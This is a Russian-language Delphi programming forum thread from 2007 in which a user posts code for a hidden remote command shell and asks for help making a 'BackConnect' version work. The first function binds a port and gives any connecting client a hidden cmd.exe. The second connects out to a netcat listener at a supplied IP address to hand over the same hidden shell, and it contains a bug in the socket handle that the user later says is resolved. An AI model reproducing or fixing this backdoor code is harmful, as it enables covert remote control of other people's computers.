![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
BackConnect на Delphi помогите плз..... [D7, Win2k, WinXP]
22b © (2007-02-10 19:29:00)Добрый день....
столкнулся я со следуюющей проблемой реализовал вывод cmd в порт локальный...вот ф-я:
[CODE]
unction SetShell(port:integer):boolean;
var
WSAData: TWSAData;
FSocket: integer;
SockAddrIn: TSockAddrIn;
sHandle: dword;
St: TStartupInfo;
Pr: TProcessInformation;
begin
WSAStartup($202, WSAData);
FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(port);
bind(FSocket, SockAddrIn, 16);
listen(FSocket, 0);
while true do
begin
sHandle := accept(FSocket, nil, 0);
if sHandle <> INVALID_SOCKET then
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_HIDE;
St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
St.hStdInput := sHandle;
St.hStdOutput := sHandle;
St.hStdError := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
CloseHandle(sHandle);
CloseHandle(Pr.hProcess);
CloseHandle(Pr.hThread);
end;
end;
end;
[/CODE]
А вот сейчас задумал реализовать BackConnect на открытый на прослушку порт нетката и ничего не могу поделать.... не работает и все
вот что получилось у меня в коде...
[CODE]
function SetShell(port:integer;ip:string):boolean;
var
WSAData: TWSAData;
FSocket: integer;
SockAddrOut: TSockAddrIn;
sHandle: dword;
St: TStartupInfo;
Pr: TProcessInformation;
begin
WSAStartup($202, WSAData);
FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrOut.sin_family := AF_INET;
SockAddrOut.sin_port := htons(port);
SockAddrOut.sin_addr:=LookupName(ip);
connect(FSocket, SockAddrOut, sizeof(SockAddrOut));
ShowMessage(inttostr(sHandle));
//listen(FSocket, 0);
//sHandle := accept(FSocket, nil, size);
if sHandle <> INVALID_SOCKET then
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_HIDE;
St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
St.hStdInput := sHandle;
St.hStdOutput := sHandle;
St.hStdError := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
CloseHandle(sHandle);
CloseHandle(Pr.hProcess);
CloseHandle(Pr.hThread);
end;
end;
[/CODE]
Заранеее спасибо за ответ...
22b (2007-02-10 19:34:00) [1]не актуально проблема решена!!!!!!!